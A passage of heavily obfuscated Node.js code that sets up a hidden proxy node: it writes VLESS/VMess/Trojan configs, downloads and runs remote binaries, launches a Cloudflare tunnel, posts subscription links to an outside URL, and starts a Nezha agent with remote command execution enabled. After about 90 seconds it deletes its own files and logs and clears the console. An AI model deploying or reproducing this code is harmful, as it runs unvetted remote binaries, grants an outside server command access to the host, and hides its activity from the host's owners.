_0x31e3c9=_0x31940c,_0x5a27a3={'log':{'access':_0x31e3c9(0x15c),'error':'/dev/null','loglevel':_0x31e3c9(0x18f)},'inbounds':[{'port':ARGO_PORT,'protocol':_0x31e3c9(0x190),'settings':{'clients':[{'id':UUID,'flow':_0x31e3c9(0x185)}],'decryption':_0x31e3c9(0x18f),'fallbacks':[{'dest':0xbb9},{'path':'/vless-argo','dest':0xbba},{'path':'/vmess-argo','dest':0xbbb},{'path':_0x31e3c9(0x1bd),'dest':0xbbc}]},'streamSettings':{'network':_0x31e3c9(0x13f)}},{'port':0xbb9,'listen':_0x31e3c9(0x1a5),'protocol':_0x31e3c9(0x190),'settings':{'clients':[{'id':UUID}],'decryption':_0x31e3c9(0x18f)},'streamSettings':{'network':_0x31e3c9(0x13f),'security':_0x31e3c9(0x18f)}},{'port':0xbba,'listen':_0x31e3c9(0x1a5),'protocol':_0x31e3c9(0x190),'settings':{'clients':[{'id':UUID,'level':0x0}],'decryption':_0x31e3c9(0x18f)},'streamSettings':{'network':'ws','security':_0x31e3c9(0x18f),'wsSettings':{'path':_0x31e3c9(0x146)}},'sniffing':{'enabled':!![],'destOverride':[_0x31e3c9(0x14a),'tls',_0x31e3c9(0x14c)],'metadataOnly':![]}},{'port':0xbbb,'listen':_0x31e3c9(0x1a5),'protocol':'vmess','settings':{'clients':[{'id':UUID,'alterId':0x0}]},'streamSettings':{'network':'ws','wsSettings':{'path':_0x31e3c9(0x195)}},'sniffing':{'enabled':!![],'destOverride':['http',_0x31e3c9(0x1ae),_0x31e3c9(0x14c)],'metadataOnly':![]}},{'port':0xbbc,'listen':'127.0.0.1','protocol':_0x31e3c9(0x1a8),'settings':{'clients':[{'password':UUID}]},'streamSettings':{'network':'ws','security':_0x31e3c9(0x18f),'wsSettings':{'path':_0x31e3c9(0x1bd)}},'sniffing':{'enabled':!![],'destOverride':['http','tls','quic'],'metadataOnly':![]}}],'dns':{'servers':['https+local://8.8.8.8/dns-query']},'outbounds':[{'protocol':'freedom','tag':_0x31e3c9(0x18e)},{'protocol':_0x31e3c9(0x155),'tag':_0x31e3c9(0x12a)}]};fs[_0x31e3c9(0x19d)](path[_0x31e3c9(0x137)](FILE_PATH,_0x31e3c9(0x161)),JSON[_0x31e3c9(0x175)](_0x5a27a3,null,0x2));}function getSystemArchitecture(){const _0x19664e=_0x31940c,_0xd4b0c6=os[_0x19664e(0x144)]();return _0xd4b0c6===_0x19664e(0x16a)||_0xd4b0c6===_0x19664e(0x1ad)||_0xd4b0c6==='aarch64'?_0x19664e(0x16a):_0x19664e(0x1a3);}function downloadFile(_0x296294,_0x50f4a1,_0x188a68){const _0x38adf9=_0x31940c,_0x41dd2c=_0x296294;!fs['existsSync'](FILE_PATH)&&fs[_0x38adf9(0x16d)](FILE_PATH,{'recursive':!![]});const _0x14db9d=fs[_0x38adf9(0x110)](_0x41dd2c);axios({'method':_0x38adf9(0x113),'url':_0x50f4a1,'responseType':_0x38adf9(0x1c2)})[_0x38adf9(0x172)](_0x11e679=>{const _0x4ba2a9=_0x38adf9;_0x11e679[_0x4ba2a9(0x177)]['pipe'](_0x14db9d),_0x14db9d['on'](_0x4ba2a9(0x11e),()=>{const _0x49fea6=_0x4ba2a9;_0x14db9d['close'](),console[_0x49fea6(0x178)](_0x49fea6(0x153)+path[_0x49fea6(0x10f)](_0x41dd2c)+'\x20successfully'),_0x188a68(null,_0x41dd2c);}),_0x14db9d['on'](_0x4ba2a9(0x118),_0xed5146=>{const _0x1c5c68=_0x4ba2a9;fs[_0x1c5c68(0x1a0)](_0x41dd2c,()=>{});const _0x6b3753='Download\x20'+path['basename'](_0x41dd2c)+_0x1c5c68(0x1b4)+_0xed5146[_0x1c5c68(0x163)];console['error'](_0x6b3753),_0x188a68(_0x6b3753);});})[_0x38adf9(0x132)](_0x23bcea=>{const _0xc86484=_0x38adf9,_0x150485=_0xc86484(0x153)+path[_0xc86484(0x10f)](_0x41dd2c)+_0xc86484(0x1b4)+_0x23bcea[_0xc86484(0x163)];console['error'](_0x150485),_0x188a68(_0x150485);});}async function downloadFilesAndRun(){const _0x2be0f6=_0x31940c,_0x59ce6e=getSystemArchitecture(),_0x206305=getFilesForArchitecture(_0x59ce6e);if(_0x206305[_0x2be0f6(0x12f)]===0x0){console[_0x2be0f6(0x178)](_0x2be0f6(0x165));return;}const _0x40c80d=_0x206305['map'](_0x44c009=>{return new Promise((_0x2dc499,_0x4182d7)=>{const _0x9649c=_0x3611;downloadFile(_0x44c009[_0x9649c(0x13c)],_0x44c009[_0x9649c(0x168)],(_0x40be41,_0x352f08)=>{_0x40be41?_0x4182d7(_0x40be41):_0x2dc499(_0x352f08);});});});try{await Promise[_0x2be0f6(0x169)](_0x40c80d);}catch(_0x221426){console[_0x2be0f6(0x118)](_0x2be0f6(0x15d),_0x221426);return;}function _0x51e74d(_0x11f255){const _0x5dd52b=0x1fd;_0x11f255['forEach'](_0x3d5c20=>{const _0x3e915c=_0x3611;fs[_0x3e915c(0x1bf)](_0x3d5c20)&&fs[_0x3e915c(0x140)](_0x3d5c20,_0x5dd52b,_0x127367=>{const _0xae3b07=_0x3e915c;_0x127367?console[_0xae3b07(0x118)](_0xae3b07(0x107)+_0x3d5c20+':\x20'+_0x127367):console['log']('Empowerment\x20success\x20for\x20'+_0x3d5c20+':\x20'+_0x5dd52b[_0xae3b07(0x189)](0x8));});});}const _0x30a6c3=NEZHA_PORT?[npmPath,webPath,botPath]:[phpPath,webPath,botPath];_0x51e74d(_0x30a6c3);if(NEZHA_SERVER&&NEZHA_KEY){if(!NEZHA_PORT){const _0x55af2b=NEZHA_SERVER['includes'](':')?NEZHA_SERVER[_0x2be0f6(0x17c)](':')[_0x2be0f6(0x15b)]():'',_0x30ab0b=new Set([_0x2be0f6(0x1a6),'8443',_0x2be0f6(0x108),'2087',_0x2be0f6(0x12e),_0x2be0f6(0x116)]),_0x30be42=_0x30ab0b[_0x2be0f6(0x1c3)](_0x55af2b)?_0x2be0f6(0x186):'false',_0x1173f3='\x0aclient_secret:\x20'+NEZHA_KEY+'\x0adebug:\x20false\x0adisable_auto_update:\x20true\x0adisable_command_execute:\x20false\x0adisable_force_update:\x20true\x0adisable_nat:\x20false\x0adisable_send_query:\x20false\x0agpu:\x20false\x0ainsecure_tls:\x20true\x0aip_report_period:\x201800\x0areport_delay:\x204\x0aserver:\x20'+NEZHA_SERVER+_0x2be0f6(0x1c0)+_0x30be42+_0x2be0f6(0x17e)+UUID;fs['writeFileSync'](path['join'](FILE_PATH,_0x2be0f6(0x11c)),_0x1173f3);const _0x363b7d=_0x2be0f6(0x164)+phpPath+_0x2be0f6(0x119)+FILE_PATH+_0x2be0f6(0x1b1);try{await exec(_0x363b7d),console[_0x2be0f6(0x178)](phpName+'\x20is\x20running'),await new Promise(_0x1c11c6=>setTimeout(_0x1c11c6,0x3e8));}catch(_0x34635d){console[_0x2be0f6(0x118)]('php\x20running\x20error:\x20'+_0x34635d);}}else{let _0x531a13='';const _0xdaa578=[_0x2be0f6(0x1a6),'8443','2096',_0x2be0f6(0x1b7),_0x2be0f6(0x12e),_0x2be0f6(0x116)];_0xdaa578[_0x2be0f6(0x109)](NEZHA_PORT)&&(_0x531a13=_0x2be0f6(0x134));const _0x2d991c='nohup\x20'+npmPath+'\x20-s\x20'+NEZHA_SERVER+':'+NEZHA_PORT+_0x2be0f6(0x136)+NEZHA_KEY+'\x20'+_0x531a13+_0x2be0f6(0x176);try{await exec(_0x2d991c),console[_0x2be0f6(0x178)](npmName+_0x2be0f6(0x10b)),await new Promise(_0x3c76ab=>setTimeout(_0x3c76ab,0x3e8));}catch(_0x3b7ec6){console[_0x2be0f6(0x118)]('npm\x20running\x20error:\x20'+_0x3b7ec6);}}}else console[_0x2be0f6(0x178)](_0x2be0f6(0x154));const _0x16721b=_0x2be0f6(0x164)+webPath+'\x20-c\x20'+FILE_PATH+_0x2be0f6(0x145);try{await exec(_0x16721b),console[_0x2be0f6(0x178)](webName+_0x2be0f6(0x10b)),await new Promise(_0x15c84d=>setTimeout(_0x15c84d,0x3e8));}catch(_0x2e4be5){console[_0x2be0f6(0x118)](_0x2be0f6(0x1b9)+_0x2e4be5);}if(fs[_0x2be0f6(0x1bf)](botPath)){let _0x2dac7e;if(ARGO_AUTH[_0x2be0f6(0x1b6)](/^[A-Z0-9a-z=]{120,250}$/))_0x2dac7e='tunnel\x20--edge-ip-version\x20auto\x20--no-autoupdate\x20--protocol\x20http2\x20run\x20--token\x20'+ARGO_AUTH;else ARGO_AUTH[_0x2be0f6(0x1b6)](/TunnelSecret/)?_0x2dac7e=_0x2be0f6(0x129)+FILE_PATH+'/tunnel.yml\x20run':_0x2dac7e=_0x2be0f6(0x120)+FILE_PATH+_0x2be0f6(0x105)+ARGO_PORT;try{await exec(_0x2be0f6(0x164)+botPath+'\x20'+_0x2dac7e+_0x2be0f6(0x184)),console[_0x2be0f6(0x178)](botName+_0x2be0f6(0x10b)),await new Promise(_0x222d7e=>setTimeout(_0x222d7e,0x7d0));}catch(_0x4d2d78){console[_0x2be0f6(0x118)]('Error\x20executing\x20command:\x20'+_0x4d2d78);}}await new Promise(_0x566d03=>setTimeout(_0x566d03,0x1388));}function getFilesForArchitecture(_0x1f7362){const _0x3040e5=_0x31940c;let _0x2e8fd6;_0x1f7362==='arm'?_0x2e8fd6=[{'fileName':webPath,'fileUrl':_0x3040e5(0x126)},{'fileName':botPath,'fileUrl':_0x3040e5(0x1a4)}]:_0x2e8fd6=[{'fileName':webPath,'fileUrl':_0x3040e5(0x188)},{'fileName':botPath,'fileUrl':_0x3040e5(0x1aa)}];if(NEZHA_SERVER&&NEZHA_KEY){if(NEZHA_PORT){const _0xabb48c=_0x1f7362===_0x3040e5(0x16a)?_0x3040e5(0x149):_0x3040e5(0x13e);_0x2e8fd6['unshift']({'fileName':npmPath,'fileUrl':_0xabb48c});}else{const _0x3a461c=_0x1f7362===_0x3040e5(0x16a)?_0x3040e5(0x167):'https://amd64.ssss.nyc.mn/v1';_0x2e8fd6[_0x3040e5(0x148)]({'fileName':phpPath,'fileUrl':_0x3a461c});}}return _0x2e8fd6;}function argoType(){const _0x6c25cf=_0x31940c;if(!ARGO_AUTH||!ARGO_DOMAIN){console[_0x6c25cf(0x178)](_0x6c25cf(0x191));return;}if(ARGO_AUTH[_0x6c25cf(0x109)](_0x6c25cf(0x174))){fs['writeFileSync'](path['join'](FILE_PATH,_0x6c25cf(0x14e)),ARGO_AUTH);const _0x3cb3f4=_0x6c25cf(0x12b)+ARGO_AUTH[_0x6c25cf(0x17c)]('\x22')[0xb]+_0x6c25cf(0x1ac)+path[_0x6c25cf(0x137)](FILE_PATH,_0x6c25cf(0x14e))+'\x0a\x20\x20protocol:\x20http2\x0a\x20\x20\x0a\x20\x20ingress:\x0a\x20\x20\x20\x20-\x20hostname:\x20'+ARGO_DOMAIN+'\x0a\x20\x20\x20\x20\x20\x20service:\x20http://localhost:'+ARGO_PORT+_0x6c25cf(0x15f);fs['writeFileSync'](path[_0x6c25cf(0x137)](FILE_PATH,_0x6c25cf(0x182)),_0x3cb3f4);}else console[_0x6c25cf(0x178)](_0x6c25cf(0x1b8));}async function extractDomains(){const _0x585bff=_0x31940c;let _0x34fde4;if(ARGO_AUTH&&ARGO_DOMAIN)_0x34fde4=ARGO_DOMAIN,console[_0x585bff(0x178)]('ARGO_DOMAIN:',_0x34fde4),await _0x168139(_0x34fde4);else try{const _0x40ce96=fs['readFileSync'](path[_0x585bff(0x137)](FILE_PATH,_0x585bff(0x10e)),_0x585bff(0x111)),_0x5c0a7b=_0x40ce96[_0x585bff(0x17c)]('\x0a'),_0xcbbe33=[];_0x5c0a7b[_0x585bff(0x10c)](_0xd2124b=>{const _0x503b8b=_0x585bff,_0x5997b4=_0xd2124b[_0x503b8b(0x1b6)](/https?:\/\/([^ ]*trycloudflare\.com)\/?/);if(_0x5997b4){const _0x44af14=_0x5997b4[0x1];_0xcbbe33[_0x503b8b(0x10d)](_0x44af14);}});if(_0xcbbe33[_0x585bff(0x12f)]>0x0)_0x34fde4=_0xcbbe33[0x0],console[_0x585bff(0x178)]('ArgoDomain:',_0x34fde4),await _0x168139(_0x34fde4);else{console[_0x585bff(0x178)](_0x585bff(0x125)),fs[_0x585bff(0x123)](path['join'](FILE_PATH,'boot.log'));async function _0x41dc4e(){const _0x54b7d8=_0x585bff;try{process[_0x54b7d8(0x16b)]===_0x54b7d8(0x18a)?await exec('taskkill\x20/f\x20/im\x20'+botName+_0x54b7d8(0x12d)):await exec(_0x54b7d8(0x127)+botName[_0x54b7d8(0x124)](0x0)+']'+botName['substring'](0x1)+_0x54b7d8(0x157));}catch(_0x75138e){}}_0x41dc4e(),await new Promise(_0x31bcb3=>setTimeout(_0x31bcb3,0xbb8));const _0x51ba38=_0x585bff(0x120)+FILE_PATH+_0x585bff(0x105)+ARGO_PORT;try{await exec(_0x585bff(0x164)+botPath+'\x20'+_0x51ba38+_0x585bff(0x184)),console[_0x585bff(0x178)](botName+'\x20is\x20running'),await new Promise(_0xa153b4=>setTimeout(_0xa153b4,0xbb8)),await extractDomains();}catch(_0x321c16){console[_0x585bff(0x118)](_0x585bff(0x150)+_0x321c16);}}}catch(_0x1f30b5){console['error'](_0x585bff(0x15a),_0x1f30b5);}async function _0x5f0566(){const _0x4670d6=_0x585bff;try{const _0x447cf2=await axios['get']('https://ipapi.co/json/',{'timeout':0xbb8});if(_0x447cf2['data']&&_0x447cf2[_0x4670d6(0x177)][_0x4670d6(0x1c4)]&&_0x447cf2['data'][_0x4670d6(0x199)])return _0x447cf2[_0x4670d6(0x177)][_0x4670d6(0x1c4)]+'_'+_0x447cf2['data'][_0x4670d6(0x199)];}catch(_0x1c7947){try{const _0x283ad7=await axios['get'](_0x4670d6(0x156),{'timeout':0xbb8});if(_0x283ad7[_0x4670d6(0x177)]&&_0x283ad7[_0x4670d6(0x177)][_0x4670d6(0x197)]===_0x4670d6(0x14d)&&_0x283ad7[_0x4670d6(0x177)][_0x4670d6(0x1a7)]&&_0x283ad7[_0x4670d6(0x177)]['org'])return _0x283ad7[_0x4670d6(0x177)]['countryCode']+'_'+_0x283ad7['data'][_0x4670d6(0x199)];}catch(_0x550e51){}}return'Unknown';}async function _0x168139(_0x1e3edb){const _0x45d4be=await _0x5f0566(),_0x2d4e39=NAME?NAME+'-'+_0x45d4be:_0x45d4be;return new Promise(_0x180f22=>{setTimeout(()=>{const _0x16efde=_0x3611,_0x6f4562={'v':'2','ps':''+_0x2d4e39,'add':CFIP,'port':CFPORT,'id':UUID,'aid':'0','scy':'none','net':'ws','type':_0x16efde(0x18f),'host':_0x1e3edb,'path':'/vmess-argo?ed=2560','tls':_0x16efde(0x1ae),'sni':_0x1e3edb,'alpn':'','fp':_0x16efde(0x162)},_0x55d4ce=_0x16efde(0x194)+UUID+'@'+CFIP+':'+CFPORT+_0x16efde(0x11d)+_0x1e3edb+_0x16efde(0x142)+_0x1e3edb+_0x16efde(0x170)+_0x2d4e39+_0x16efde(0x131)+Buffer[_0x16efde(0x138)](JSON[_0x16efde(0x175)](_0x6f4562))[_0x16efde(0x189)]('base64')+_0x16efde(0x198)+UUID+'@'+CFIP+':'+CFPORT+_0x16efde(0x1be)+_0x1e3edb+'&fp=firefox&type=ws&host='+_0x1e3edb+_0x16efde(0x115)+_0x2d4e39+_0x16efde(0x133);console['log'](Buffer['from'](_0x55d4ce)[_0x16efde(0x189)]('base64')),fs[_0x16efde(0x19d)](subPath,Buffer[_0x16efde(0x138)](_0x55d4ce)[_0x16efde(0x189)](_0x16efde(0x135))),console[_0x16efde(0x178)](FILE_PATH+'/sub.txt\x20saved\x20successfully'),uploadNodes(),app['get']('/'+SUB_PATH,(_0x3d7672,_0x93490)=>{const _0x500300=_0x16efde,_0x177fcf=Buffer[_0x500300(0x138)](_0x55d4ce)[_0x500300(0x189)](_0x500300(0x135));_0x93490[_0x500300(0x128)](_0x500300(0x1b3),_0x500300(0x1ab)),_0x93490['send'](_0x177fcf);}),_0x180f22(_0x55d4ce);},0x7d0);});}}async function uploadNodes(){const _0x599e78=_0x31940c;if(UPLOAD_URL&&PROJECT_URL){const _0x3b3445=PROJECT_URL+'/'+SUB_PATH,_0x144049={'subscription':[_0x3b3445]};try{const _0x507a70=await axios[_0x599e78(0x1af)](UPLOAD_URL+_0x599e78(0x179),_0x144049,{'headers':{'Content-Type':_0x599e78(0x114)}});return _0x507a70&&_0x507a70[_0x599e78(0x197)]===0xc8?(console[_0x599e78(0x178)](_0x599e78(0x1bc)),_0x507a70):null;}catch(_0x19ea4c){if(_0x19ea4c[_0x599e78(0x19c)]){if(_0x19ea4c['response'][_0x599e78(0x197)]===0x190){}}}}else{if(UPLOAD_URL){if(!fs[_0x599e78(0x1bf)](listPath))return;const _0x2f21ab=fs['readFileSync'](listPath,_0x599e78(0x111)),_0x7f4cf=_0x2f21ab[_0x599e78(0x17c)]('\x0a')[_0x599e78(0x11a)](_0x2da2b1=>/(vless|vmess|trojan|hysteria2|tuic):\/\//[_0x599e78(0x193)](_0x2da2b1));if(_0x7f4cf[_0x599e78(0x12f)]===0x0)return;const _0x2efb9b=JSON['stringify']({'nodes':_0x7f4cf});try{const _0x1a9a03=await axios[_0x599e78(0x1af)](UPLOAD_URL+_0x599e78(0x121),_0x2efb9b,{'headers':{'Content-Type':'application/json'}});return _0x1a9a03&&_0x1a9a03['status']===0xc8?(console[_0x599e78(0x178)](_0x599e78(0x18b)),_0x1a9a03):null;}catch(_0x4ddc70){return null;}}else return;}}function cleanFiles(){setTimeout(()=>{const _0x4754bd=_0x3611,_0x30c1fa=[bootLogPath,configPath,webPath,botPath];if(NEZHA_PORT)_0x30c1fa[_0x4754bd(0x10d)](npmPath);else NEZHA_SERVER&&NEZHA_KEY&&_0x30c1fa[_0x4754bd(0x10d)](phpPath);process['platform']===_0x4754bd(0x18a)?exec(_0x4754bd(0x151)+_0x30c1fa[_0x4754bd(0x137)]('\x20')+_0x4754bd(0x1ba),_0x3457d5=>{const _0x36264a=_0x4754bd;console['clear'](),console[_0x36264a(0x178)](_0x36264a(0x13b)),console['log'](_0x36264a(0x14f));}):exec(_0x4754bd(0x13a)+_0x30c1fa[_0x4754bd(0x137)]('\x20')+_0x4754bd(0x11f),_0x59a585=>{const _0x36999c=_0x4754bd;console['clear'](),console[_0x36999c(0x178)](_0x36999c(0x13b)),console[_0x36999c(0x178)](_0x36999c(0x14f));});},0x15f90);}cleanFiles();async function AddVisitTask(){const _0x36dda3=_0x31940c;if(!AUTO_ACCESS||!PROJECT_URL){console[_0x36dda3(0x178)](_0x36dda3(0x1a2));return;}try{const _0x2c779a=await axios[_0x36dda3(0x1af)]('https://oooo.serv00.net/add-url',{'url':PROJECT_URL},{'headers':{'Content-Type':'application/json'}});return console[_0x36dda3(0x178)]('automatic\x20access\x20task\x20added\x20successfully'),_0x2c779a;}catch(_0x37b37c){return console[_0x36dda3(0x118)]('Add\x20automatic\x20access\x20task\x20faild:\x20'+_0x37b37c['message']),null;}}async function startserver(){const _0x55f44f=_0x31940c;try{argoType(),deleteNodes(),cleanupOldFiles(),await generateConfig(),await downloadFilesAndRun(),await extractDomains(),await AddVisitTask();}catch(_0x15997e){console[_0x55f44f(0x118)](_0x55f44f(0x141),_0x15997e);}}function _0x3611(_0x1a68ca,_0x4059dd){_0x1a68ca=_0x1a68ca-0x105;const _0x27c7a1=_0x27c7();let _0x36110a=_0x27c7a1[_0x1a68ca];return _0x36110a;}startserver()['catch'](_0x5212d1=>{const _0x71cf96=_0x31940c;console['error'](_0x71cf96(0x183),_0x5212d1);}),app[_0x31940c(0x160)](PORT,()=>console[_0x31940c(0x178)](_0x31940c(0x152)+PORT+'!'));